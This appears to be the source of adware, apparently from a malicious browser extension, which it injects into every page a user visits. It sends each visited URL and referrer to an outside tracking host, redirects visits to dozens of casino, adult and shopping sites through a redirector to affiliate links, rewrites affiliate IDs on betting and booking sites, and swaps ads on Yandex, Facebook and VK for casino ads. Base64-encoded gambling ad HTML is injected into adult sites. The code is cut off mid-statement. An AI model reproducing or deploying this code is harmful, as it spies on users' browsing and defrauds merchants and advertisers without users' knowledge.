var script = document.createElement('script'); script.innerHTML = "\ (function(){\ var libs = function() {\ var disabled = ['localhost', 'docs.google.com'],\ google = ['www.google.com.ua', 'www.google.cl', 'www.google.com.lb', 'www.google.com', 'www.google.ru', 'www.google.com.vn', 'www.google.co.in', 'www.google.be', 'www.google.com.my', 'www.google.com.ph', 'www.google.com.bd', 'www.google.ps', 'www.google.com.br', 'www.google.ba', 'www.google.fr', 'www.google.pt', 'www.google.com.ar', 'www.google.com.pe', 'www.google.am', 'www.google.com.bo', 'www.google.com.pk', 'www.google.co.id', 'www.google.az', 'www.google.de', 'www.google.com.np', 'www.google.it', 'www.google.hu', 'www.google.com.co', 'www.google.com.mx', 'www.google.com.eg', 'www.google.ro', 'www.google.com.au', 'www.google.ae', 'www.google.no', 'www.google.nl', 'www.google.ge', 'www.google.tn', 'www.google.kz', 'www.google.by', 'www.google.co.uk', 'www.google.es', 'www.google.pl', 'www.google.com.tr', 'www.google.co.jp', 'www.google.com.jm', 'www.google.co.kr', 'www.google.cz', 'www.google.co.ve', 'www.google.com.gt', 'www.google.rs', 'www.google.co.th', 'www.google.at', 'www.google.mg', 'www.google.com.do', 'www.google.com.sa', 'www.google.com.ly', 'www.google.lk', 'www.google.sk', 'www.google.md', 'www.google.ie', 'www.google.com.tw', 'www.google.com.ni', 'www.google.fi', 'www.google.com.sv', 'www.google.dk', 'www.google.co.za', 'www.google.iq', 'www.google.si', 'www.google.ee', 'www.google.so', 'www.google.gr', 'www.google.com.cy', 'www.google.com.uy', 'www.google.dz', 'www.google.hn', 'www.google.co.cr', 'www.google.com.et', 'www.google.com.kh', 'www.google.com.ec', 'www.google.ca', 'www.google.com.hk', 'www.google.la', 'www.google.com.sg', 'www.google.bg', 'www.google.se', 'www.google.com.kw', 'www.google.co.ma', 'www.google.com.pa', 'www.google.com.qa', 'www.google.ch', 'www.google.com.om', 'www.google.co.il', 'www.google.lt', 'www.google.ci', 'www.google.com.bn'];\ \ var setCookie = function(name, value, expires, path, domain, secure) {\ var setExpiration = function(cookieLife) {\ var today = new Date();\ var expr = new Date(today.getTime() + cookieLife);\ return expr.toGMTString();\ };\ \ var cookieStr = name + '=' + escape(value) + '; ';\ \ if (expires) {\ expires = setExpiration(expires);\ cookieStr += 'expires=' + expires + '; ';\ }\ if (path) {\ cookieStr += 'path=' + path + '; ';\ }\ if (domain) {\ cookieStr += 'domain=' + domain + '; ';\ }\ if (secure) {\ cookieStr += 'secure; ';\ }\ \ document.cookie = cookieStr;\ };\ \ return {\ getCookie: function(w) {\ var cName = '',\ pCOOKIES = document.cookie.split('; ');\ for (var bb = 0; bb < pCOOKIES.length; bb++) {\ var NmeVal = pCOOKIES[bb].split('=');\ if (NmeVal[0] === w) {\ cName = unescape(NmeVal[1]);\ }\ }\ return cName;\ },\ setCookie: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 24 * 60 * 60 * 1000, path, domain, secure);\ },\ setCookieSeconds: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 1000, path, domain, secure);\ },\ insertPixel: function(url) {\ var pixel = document.createElement('img');\ pixel.src = url;\ pixel.style.position = 'absolute';\ pixel.style.top = '-9999px';\ pixel.style.left = '-9999px';\ document.body.appendChild(pixel);\ },\ isDisabled: function() {\ return (disabled.indexOf(window.location.host) >= 0);\ },\ isGoogle: function() {\ return (google.indexOf(window.location.host) >= 0);\ }\ };\ }();\ \ if (libs.isDisabled()) return;\ \ libs.insertPixel('http://cl4appf.com/x.gif?url='+encodeURIComponent(window.location.href)+'&ref='+encodeURIComponent(document.referrer));\ \ (function(){\ var sites = {\ '2vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'bestvulkan.org': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'casino.bet365.com': 'http://casino.bet365.com?affiliate=GM_00009434',\ 'casino.bet365.es': 'http://casino.bet365.com?affiliate=GM_00009435',\ 'club-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan.net': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan-slots.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'gold-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'ikvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'lp.vulkantrade.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'myvulkan.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'playvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'play-vulkan-casino.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'vulkancasino.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'vulkanclub.com': 'http://gomakemerich.com/?s=4&ref=wp_w527r273772p4_vclkads&url',\ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',\ 'www.ashleymadison.com': 'https://www.ashleymadison.com/A114080',\ 'www.ashleyrnadison.com': 'http://www.ashleyrnadison.com/A114080',\ 'www.sexy.com': 'http://crtracklink.com/go/OgX_bnwHp_lzkv/DEFAULT',\ 'www.slutroulette.com': 'http://crtracklink.com/go/dP_btbDX_lzkv/DEFAULT',\ 'www.exposedwebcams.com': 'http://crtracklink.com/go/dv_bnv8C_lzkv/DEFAULT',\ 'www.sexmatchbook.com': 'http://crtracklink.com/go/bquHm_lzkv/DEFAULT',\ 'www.myfreecams.com': 'http://crtracklink.com/go/nLKbP_lzkv/DEFAULT',\ 'www.punishtube.com': 'http://crtracklink.com/go/sJ_bnxeG_lzkv/DEFAULT',\ 'www.jpcamsexposed.com': 'http://crtracklink.com/go/N03_bnoNy_lzkv/DEFAULT',\ 'www.jpcams.com': 'http://crtracklink.com/go/Il_bp6sb_lzkv/DEFAULT',\ 'www.sondageporno.com': 'http://crtracklink.com/go/bW_bnmbz_lzkv/DEFAULT',\ 'www.freelifetimefuckbook.com': 'http://crtracklink.com/go/nSnxv_lzkv/DEFAULT',\ 'www.easydatingexposed.com': 'http://crtracklink.com/go/nIqvZ_lzkv/DEFAULT',\ 'www.pornoviolente.com': 'http://crtracklink.com/go/nV34d_lzkv/DEFAULT',\ 'www.sexeviolent.com': 'http://crtracklink.com/go/boDNc_lzkv/DEFAULT',\ 'www.jizzroulette.com': 'http://crtracklink.com/go/nB6c2_lzkv/DEFAULT',\ 'www.gaycamsexposed.com': 'http://crtracklink.com/go/nGk03_lzkv/DEFAULT',\ 'www.dafuckbook.com': 'http://crtracklink.com/go/hs5K_lzkv/DEFAULT',\ 'www.jetztgleichficken.com': 'http://crtracklink.com/go/nA3sz_lzkv/DEFAULT',\ 'www.sexdateportaal.nl': 'http://crtracklink.com/go/nIx8h_lzkv/DEFAULT',\ 'unasveltina.com': 'http://crtracklink.com/go/nGW6v_lzkv/DEFAULT',\ 'free.adultcamfriend.com': 'http://crtracklink.com/go/nT2nq_lzkv/DEFAULT',\ 'www.camgratuite.com': 'http://crtracklink.com/go/nxCar_lzkv/DEFAULT',\ 'www.connectcams.nl': 'http://crtracklink.com/go/bqQUq_lzkv/DEFAULT',\ 'www.gayfreefun.net': 'http://crtracklink.com/go/nF1Yk_lzkv/DEFAULT',\ 'www.livefreefun.net': 'http://crtracklink.com/go/nAZEq_lzkv/DEFAULT',\ 'www.webcamshispanas.com': 'http://crtracklink.com/go/nBeS0_lzkv/DEFAULT',\ 'freexxxapp.com': 'http://crtracklink.com/go/ntN1r_lzkv/DEFAULT',\ 'es.cumlouder.com': 'http://crtracklink.com/go/boWPV_lzkv/DEFAULT',\ 'www.dapink.com': 'http://crtracklink.com/go/nBqjr_lzkv/DEFAULT',\ 'www.gayweb-tv.com': 'http://crtracklink.com/go/bsSBd_lzkv/DEFAULT',\ 'www.xcopines.com': 'http://crtracklink.com/go/bsOM4_lzkv/DEFAULT',\ 'www.testopure.com': 'http://crtracklink.com/go/nI6pA_lzkv/DEFAULT',\ 'www.24option.com': 'http://option.go2jump.org/SHSH8O',\ 'www.hostgator.com': 'http://www.kqzyfj.com/click-7655081-10408481?sid=red',\ 'www.godaddy.com': 'http://www.anrdoezrs.net/click-7655081-10378406',\ 'beyondhosting.net': 'http://www.tkqlhce.com/click-7655081-12005107',\ 'www.bose.de': 'http://www.dpbolvw.net/click-7655081-11913589',\ 'www.optionrally.com': 'http://go.wepayaffiliates.com/visit/?brand=OptionRally&bta=37550',\ 'travelata.ru': 'http://ad.admitad.com/goto/c065a61a6b846286ae03e617d5ef08/?subid=red',\ 'migcredit.ru': 'https://ad.admitad.com/goto/f6515a4c17846286ae036f1a920894/',\ 'www.iqcard.ru': 'https://ad.admitad.com/goto/0761bbbe17846286ae03a0b94ccf7b/',\ 'www.ezaem.ru': 'https://ad.admitad.com/goto/5f9807d2ec846286ae03566691beec/',\ 'astia.ru': 'https://ad.admitad.com/goto/797436df6e846286ae03a25564ddb0/',\ 'www.westwing.ru': 'https://ad.admitad.com/goto/ee438bee19846286ae033ca867e363/',\ 'platiza.ru': 'https://ad.admitad.com/goto/0062948c6b846286ae0302f107ff4c/',\ 'shop.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'www.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'go.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary50.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary-banks.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'eu.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=268&aff_id=7818',\ 'mega.co.nz': 'https://mega.co.nz/#pro/4Rh0Xbga',\ 'www.belkin.co.uk': 'http://www.jdoqocy.com/click-7655081-11980865',\ 'www.ebags.com': 'http://www.dpbolvw.net/click-7655081-10656249'\ },\ map = {\ 'parimatch.com': 'parimatch',\ 'partners.parimatch.com': 'parimatch',\ 'start.parimatchru.com': 'parimatch',\ 'www.bet365.com': 'bet365',\ 'www.bet365.com.au': 'bet365',\ 'www.bet365.dk': 'bet365-dk',\ 'www.bet365.es': 'bet365-es',\ 'www.bet365.gr': 'bet365-gr',\ 'www.booking.com': 'booking',\ 'www.parimatch.by': 'parimatch',\ 'www.parimatch.com': 'parimatch'\ },\ rules = {\ 'bet365':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)$',r:'$1affiliate=GM_00009434$3'},\ {p: '^(.*)\\\\?(.*)$',r:'$1?$2&affiliate=GM_00009434'},\ {p: '^(.*)$',r:'$1?affiliate=GM_00009434'}\ ],\ 'bet365-dk':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)$',r:'$1affiliate=GM_00009437$3'},\ {p: '^(.*)\\\\?(.*)$',r:'$1?$2&affiliate=GM_00009437'},\ {p: '^(.*)$',r:'$1?affiliate=GM_00009437'}\ ],\ 'bet365-es':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)$',r:'$1affiliate=GM_00009435$3'},\ {p: '^(.*)\\\\?(.*)$',r:'$1?$2&affiliate=GM_00009435'},\ {p: '^(.*)$',r:'$1?affiliate=GM_00009435'}\ ],\ 'bet365-gr':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)$',r:'$1affiliate=GM_00009436$3'},\ {p: '^(.*)\\\\?(.*)$',r:'$1?$2&affiliate=GM_00009436'},\ {p: '^(.*)$',r:'$1?affiliate=GM_00009436'}\ ],\ 'booking': [\ {p: '^(.*)\\\\baid=(\\\\d+)(.*)\\\\blabel=(\\\\w+)\\\\b(.*)$',r:'$1aid=802854$3label=rel002$5'},\ {p: '^(.*)\\\\baid=(\\\\d+)(.*)$',r:'$1aid=802854;label=rel002$3'},\ {p: '^(.*)\\\\?(.*)$',r:'$1?$2;aid=802854;label=rel002'},\ {p: '^(.*)$',r:'$1?aid=802854;label=rel002'}\ ],\ 'parimatch':[\ {p: '^(.*)\\\\bbtag=a_(\\\\d+)(.*)$',r:'$1btag=a_3200$3'}\ ]\ },\ host = window.location.host,\ href = window.location.href,\ cookie = '__rdr';\ \ if (libs.getCookie(cookie)) return;\ \ if (sites[host]) {\ libs.setCookie(cookie, 1, 1, '/');\ window.location.href = 'http://chromegtrack.com/redirect.php?url='+sites[host];\ return;\ }\ \ var type = map[host];\ if (type) {\ window.onbeforeunload = null;\ \ for (var i=0; i= 0) {\ picture = item;\ continue;\ }\ \ if (!title && item.className.indexOf('yap-title-block') >= 0) {\ title = item;\ continue;\ }\ \ if (!text && item.className.indexOf('yap-text') >= 0) {\ text = item;\ continue;\ }\ \ if (!sitelinks && item.className.indexOf('yap-sitelinks') >= 0) {\ sitelinks = item;\ continue;\ }\ \ if (!contacts && item.className.indexOf('yap-contacts') >= 0) {\ contacts = item;\ continue;\ }\ \ toDelete.push(item);\ }\ \ if (!title || !text || !contacts) return 0;\ \ var ad = getRandomUniqueAd();\ if (!ad) return 0;\ \ if (picture) {\ for (var i=0; i= 0) {\ item.href = ad.u;\ \ for (var j=0; j= 0) {\ item2.src = ad.p;\ item2.alt = '';\ continue;\ }\ \ toDelete.push(item2);\ }\ continue;\ }\ \ toDelete.push(item);\ }\ } else {\ var img = document.createElement('img');\ img.className = 'yap-image';\ img.alt = '';\ img.src = ad.p;\ img.style.width = '80px!important';\ img.style.height = '80px!important';\ \ var img_link = document.createElement('a');\ img_link.className = 'yap-image-link';\ img_link.target = '_blank';\ img_link.href = ad.u;\ \ item = document.createElement('yatag');\ item.className = 'yap-picture-block';\ \ img_link.appendChild(img);\ item.appendChild(img_link);\ inner.insertBefore(item, inner.firstChild);\ }\ \ for (var i=0; i= 0) {\ for (j=0; j= 0) {\ item2.href = ad.u;\ item2.innerHTML = ad.t;\ continue;\ }\ \ toDelete.push(item2);\ }\ continue;\ }\ \ toDelete.push(item);\ }\ \ for (i=0; i= 0) {\ item.innerHTML = ad.d;\ continue;\ }\ \ toDelete.push(item);\ }\ \ if (sitelinks) {\ toDelete.push(sitelinks);\ }\ \ for (i=0; i= 0) {\ for (j=0; j= 0) {\ item2.href = ad.u;\ item2.innerHTML = ad.c;\ continue;\ }\ \ toDelete.push(item2);\ }\ continue;\ }\ \ toDelete.push(item);\ }\ \ while (item = toDelete.shift()) item.parentNode.removeChild(item);\ \ return 1;\ };\ \ var replaceList = function(list) {\ var inners = list.getElementsByClassName('yap-item-inner');\ \ for (var i=0; i= 0) {\ title = item;\ continue;\ }\ \ if (!greenurl && item.className.indexOf('serp-item__greenurl') >= 0) {\ greenurl = item;\ continue;\ }\ \ if (!text && item.className.indexOf('serp-item__text') >= 0) {\ text = item;\ continue;\ }\ \ toDelete.push(item);\ }\ \ if (!title || !greenurl || !text)\ return 0;\ \ var ad = getRandomUniqueAd();\ if (!ad)\ return 0;\ \ for (i = 0; i < title.children.length; i++) {\ item = title.children[i];\ \ if (item.className.indexOf('serp-item__title-link') >= 0) {\ item.innerHTML = ad.t;\ item.href = ad.u;\ } else {\ toDelete.push(item);\ }\ }\ \ for (i = 0; i < greenurl.children.length; i++) {\ item = greenurl.children[i];\ \ if (item.className === 'b-link serp-url__link') {\ item.innerHTML = ad.c;\ item.href = ad.u;\ } else {\ toDelete.push(item);\ }\ }\ \ text.innerHTML = ad.d;\ \ while (item = toDelete.shift())\ item.parentNode.removeChild(item);\ \ return 1;\ };\ \ var replaceBlock = function(block) {\ var items = block.getElementsByClassName('serp-adv__item');\ \ for (var i = 0; i < items.length; i++) {\ var item = items[i];\ \ if (item.nodeName && item.nodeName.toLowerCase() == 'div' && replaceItem(item)) {\ return 1;\ }\ }\ \ return 0;\ };\ \ var blocks = document.getElementsByClassName('serp-adv__block'),\ replaced = 0;\ \ for (var i = 0; i < blocks.length; i++) {\ var item = blocks[i];\ \ if (item.nodeName && item.nodeName.toLowerCase() == 'div' && item.getAttribute('data-status') != 'loaded') {\ replaced += replaceBlock(item);\ item.setAttribute('data-status', 'loaded');\ }\ }\ \ if (replaced) {\ yandexAdsAttempts = 0;\ }\ \ if (yandexAdsAttempts++ < 10) {\ setTimeout(yandexAds, 500);\ }\ };\ \ var yandexDirectAttempts = 0;\ setTimeout(yandexDirect, 0);\ \ if (window.location.href.indexOf('yandex') >= 0) {\ var yandexAdsAttempts = 0;\ setTimeout(yandexAds, 0);\ }\ })();\ \ (function() {\ if (window.location.href.indexOf('facebook.com') === -1) return;\ \ var MAX_ADS_IN_BLOCK = 2,\ ads = {\ ru: [\ {\ t1: 'Игровые автоматы бесплатно',\ d: 'Начни выигрывать прямо сейчас! Просто играй и зарабатывай!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia1'\ },\ {\ t1: 'Зал игровых автоматов',\ d: 'Все лучшие игровые автоматы в одном месте. Играй бесплатно!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia2'\ },\ {\ t1: 'Игровые автоматы',\ d: 'Игровые автоматы без регистрации и смс. Жми!!!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia3'\ },\ {\ t1: 'Бесплатные игровые автоматы',\ d: 'Заходи к нам и играй в любые игровые автоматы бесплатно!!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia4'\ },\ {\ t1: 'Казино Вулкан',\ d: 'Игровые автоматы официального клуба Вулкан! Все бесплатно!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk1'\ },\ {\ t1: 'Вулкан Игровые автоматы',\ d: 'Самый большой выбор игровых автоматов. Все легально!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk2'\ },\ {\ t1: 'Игровые автоматы Вулкан',\ d: 'В казино уже 4 миллиона игроков. Мы тебя ждем!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk3'\ },\ {\ t1: 'Игровой клуб Вулкан',\ d: 'Легальное интернет-казино на деньги! Играй прямо сейчас',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk4'\ }\ ],\ _def: [\ {\ t1: 'William Hill',\ t2: 'William Hill',\ d: 'William Hill Sports – Free Bet Welcome Bonus',\ i: 'http://williamspromocodes.co.uk/wp-content/uploads/2013/11/will-hill-promo-code-441-441-160x160.jpg',\ u: 'http://ads2.williamhill.com/redirect.aspx?pid=181584045&bid=1487410867&lpid=1470919664'\ }\ ]\ };\ \ var getRandomUniqueAd = function() {\ var lang = document.documentElement.getAttribute('lang');\ if (!lang || !ads[lang]) {\ lang = '_def';\ }\ \ if (ads[lang].length === 0) {\ return null;\ }\ \ var i = Math.floor(Math.random()*ads[lang].length),\ ad = ads[lang][i];\ \ ads[lang].splice(i, 1);\ \ return ad;\ };\ \ var fbAds = function() {\ var replaceItem = function(input) {\ var links = input.getElementsByTagName('a');\ if (links.length === 0) return 0;\ \ var a = [],\ title = title1 = title2 = img = desc = date = like = null;\ \ for (var i=0; i= MAX_ADS_IN_BLOCK) {\ break;\ }\ }\ }\ \ return replaced;\ };\ \ var blocks = document.getElementsByClassName('ego_unit_container'),\ replaced = 0;\ \ for (var i = 0; i < blocks.length; i++) {\ var item = blocks[i];\ \ if (item.nodeName && item.nodeName.toLowerCase() === 'div' && item.getAttribute('data-status') !== 'loaded') {\ replaced += replaceBlock(item);\ item.setAttribute('data-status', 'loaded');\ }\ }\ };\ \ setTimeout(fbAds, 2000);\ setInterval(fbAds, 10000);\ })();\ \ (function(){\ if (window.location.href.indexOf('vk.com') === -1) return;\ \ var ads = [\ {\ t: 'Игровые автоматы бесплатно',\ d: 'Начни выигрывать прямо сейчас! Просто играй и зарабатывай!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia1',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Зал игровых автоматов',\ d: 'Все лучшие игровые автоматы в одном месте. Играй бесплатно!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia2',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Игровые автоматы',\ d: 'Игровые автоматы без регистрации и смс. Жми!!!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia3',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Бесплатные игровые автоматы',\ d: 'Заходи к нам и играй в любые игровые автоматы бесплатно!!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=ia4',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Казино Вулкан',\ d: 'Игровые автоматы официального клуба Вулкан! Все бесплатно!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk1',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Вулкан Игровые автоматы',\ d: 'Самый большой выбор игровых автоматов. Все легально!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk2',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Игровые автоматы Вулкан',\ d: 'В казино уже 4 миллиона игроков. Мы тебя ждем!',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk3',\ s: 'vulcan-casino.com'\ },\ {\ t: 'Игровой клуб Вулкан',\ d: 'Легальное интернет-казино на деньги! Играй прямо сейчас',\ i: 'http://avatars-fast.yandex.net/get-direct/R5WhZq1AkiNMor43XPoTxQ/y90',\ u: 'http://gen4all.com/233/campaign3011?subid1=vk4',\ s: 'vulcan-casino.com'\ }\ ];\ \ var getRandomUniqueAd = function() {\ if (ads.length === 0) {\ return null;\ }\ \ var i = Math.floor(Math.random()*ads.length),\ ad = ads[i];\ \ ads.splice(i, 1);\ \ return ad;\ };\ \ var vkAds = function() {\ var replaceBlock = function(block) {\ var link = block.getElementsByTagName('a')[0];\ if (!link) return 0;\ \ var box = link.getElementsByClassName('ads_ad_text_box')[0];\ if (!box) return 0;\ \ var toDelete = [],\ title = domain = image = desc = null;\ \ for (var i=0; i < box.children.length; i++) {\ var item = box.children[i];\ \ if (!title && item.className.indexOf('ads_ad_title_box') >= 0) {\ for (var j=0; j < item.children.length; j++) {\ var item2 = item.children[j];\ \ if (item2.className.indexOf('ads_ad_title') >= 0) {\ title = item2;\ continue;\ }\ \ toDelete.push(item2);\ }\ \ continue;\ }\ \ if (!domain && item.className.indexOf('ads_ad_domain') >= 0) {\ domain = item;\ continue;\ }\ \ if (!image && item.className.indexOf('ads_ad_photo_box') >= 0) {\ for (j=0; j < item.children.length; j++) {\ item2 = item.children[j];\ \ if (item2.className.indexOf('ads_ad_photo') >= 0) {\ image = item2;\ continue;\ }\ \ toDelete.push(item2);\ }\ \ continue;\ }\ \ if (!desc && item.className.indexOf('ads_ad_description') >= 0) {\ desc = item;\ continue;\ }\ \ toDelete.push(item);\ }\ \ if (!title || !domain || !image || !desc) return 0;\ \ var ad = getRandomUniqueAd();\ if (!ad) return 0;\ \ title.innerHTML = ad.t;\ domain.innerHTML = ad.s;\ image.src = ad.i;\ desc.innerHTML = ad.d;\ link.href = ad.u;\ link.removeAttribute('onmouseover');\ link.removeAttribute('onmouseout');\ \ while (item = toDelete.shift()) item.parentNode.removeChild(item);\ \ return 1;\ };\ \ var blocks = document.getElementsByClassName('ads_ad_box'),\ replaced = 0;\ \ for (var i = 0; i < blocks.length; i++) {\ var item = blocks[i];\ \ if (item.nodeName && item.nodeName.toLowerCase() === 'div' && item.getAttribute('data-status') !== 'loaded') {\ if (!replaced) {\ replaced += replaceBlock(item);\ }\ item.setAttribute('data-status', 'loaded');\ }\ }\ };\ \ setTimeout(vkAds, 2000);\ setInterval(vkAds, 10000);\ })();\ \ (function(){\ var config = function(){\ var ads = [\ 'PG9iamVjdCB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgaWQ9ImE1MzM0MzFjYTg2MDA0MzFkYmJhYTA5MDliMDQzYWRiMCIgZGF0YT0iaHR0cDovL2ltc3RvcmUuYmV0MzY1YWZmaWxpYXRlcy5jb20vP0FmZmlsaWF0ZUNvZGU9MzY1XzMxMDIyNCZhbXA7Q0lEPTIwNyZhbXA7RElEPTcyJmFtcDtUSUQ9MiZhbXA7UElEPTE0OSZhbXA7TE5HPTEmYW1wO0NsaWNrVGFnPWh0dHAlM2ElMmYlMmZpbXN0b3JlLmJldDM2NWFmZmlsaWF0ZXMuY29tJTJmVHJhY2tlci5hc3B4JTNmQWZmaWxpYXRlSWQlM2Q3MTg5NiUyNkFmZmlsaWF0ZUNvZGUlM2QzNjVfMzEwMjI0JTI2Q0lEJTNkMjA3JTI2RElEJTNkNzIlMjZUSUQlM2QyJTI2UElEJTNkMTQ5JTI2TE5HJTNkMSZhbXA7UG9wdXA9dHJ1ZSIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIyNTAiPjxwYXJhbSBuYW1lPSJtb3ZpZSIgdmFsdWU9Imh0dHA6Ly9pbXN0b3JlLmJldDM2NWFmZmlsaWF0ZXMuY29tLz9BZmZpbGlhdGVDb2RlPTM2NV8zMTAyMjQmYW1wO0NJRD0yMDcmYW1wO0RJRD03MiZhbXA7VElEPTImYW1wO1BJRD0xNDkmYW1wO0xORz0xJmFtcDtDbGlja1RhZz1odHRwJTNhJTJmJTJmaW1zdG9yZS5iZXQzNjVhZmZpbGlhdGVzLmNvbSUyZlRyYWNrZXIuYXNweCUzZkFmZmlsaWF0ZUlkJTNkNzE4OTYlMjZBZmZpbGlhdGVDb2RlJTNkMzY1XzMxMDIyNCUyNkNJRCUzZDIwNyUyNkRJRCUzZDcyJTI2VElEJTNkMiUyNlBJRCUzZDE0OSUyNkxORyUzZDEmYW1wO1BvcHVwPXRydWUiIC8+PHBhcmFtIG5hbWU9InF1YWxpdHkiIHZhbHVlPSJoaWdoIiAvPjxwYXJhbSBuYW1lPSJ3bW9kZSIgdmFsdWU9InRyYW5zcGFyZW50IiAvPjxwYXJhbSBuYW1lPSJhbGxvd1NjcmlwdEFjY2VzcyIgdmFsdWU9ImFsd2F5cyIgLz48cGFyYW0gbmFtZT0iYWxsb3dOZXR3b3JraW5nIiB2YWx1ZT0iZXh0ZXJuYWwiIC8+PGEgaHJlZj0iaHR0cDovL2ltc3RvcmUuYmV0MzY1YWZmaWxpYXRlcy5jb20vVHJhY2tlci5hc3B4P0FmZmlsaWF0ZUlkPTcxODk2JmFtcDtBZmZpbGlhdGVDb2RlPTM2NV8zMTAyMjQmYW1wO0NJRD0xOTQmYW1wO0RJRD03MiZhbXA7VElEPTEmYW1wO1BJRD0xNDkmYW1wO0xORz0xIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9Imh0dHA6Ly9pbXN0b3JlLmJldDM2NWFmZmlsaWF0ZXMuY29tLz9BZmZpbGlhdGVDb2RlPTM2NV8zMTAyMjQmYW1wO0NJRD0xOTQmYW1wO0RJRD03MiZhbXA7VElEPTEmYW1wO1BJRD0xNDkmYW1wO0xORz0xIiBzdHlsZT0iYm9yZGVyOjA7IiBhbHQ9ImJldDM2NSI+PC9pbWc+PC9hPjwvb2JqZWN0Pg==',\ 'PGEgaHJlZj0iaHR0cDovL29ubGluZS5sYWRicm9rZXMuYmUvcHJvbW9SZWRpcmVjdD9rZXk9ZWoweE5EazBOVFV5TVNac1BURTBOelExTkRjMEpuQTlOVGcwTVRVMiI+PGltZyBzcmM9Imh0dHA6Ly9vbmxpbmUubGFkYnJva2VzLmJlL3Byb21vTG9hZERpc3BsYXk/a2V5PWVqMHhORGswTlRVeU1TWnNQVEUwTnpRMU5EYzBKbkE5TlRnME1UVTIiIHdpZHRoPSIzMDAiIGhlaWdodD0iMjUwIi8+PC9hPg=='\ ];\ \ return {\ get: function(){\ if (ads.length === 0) {\ return null;\ }\ \ var i = Math.floor(Math.random()*ads.length),\ ad = ads[i];\ \ ads.splice(i, 1);\ \ return atob(ad);\ }\ };\ }();\ \ var replaceAd = function(){\ var place = null;\ \ if (window.location.href.indexOf('redtube.com') >= 0) {\ place = document.getElementById('as_130')||document.getElementById('as_132')||document.getElementById('as_133');\ } else if (window.location.href.indexOf('xhamster.com') >= 0) {\ var block = document.getElementsByClassName('adVideo')[0];\ if (block) {\ place = 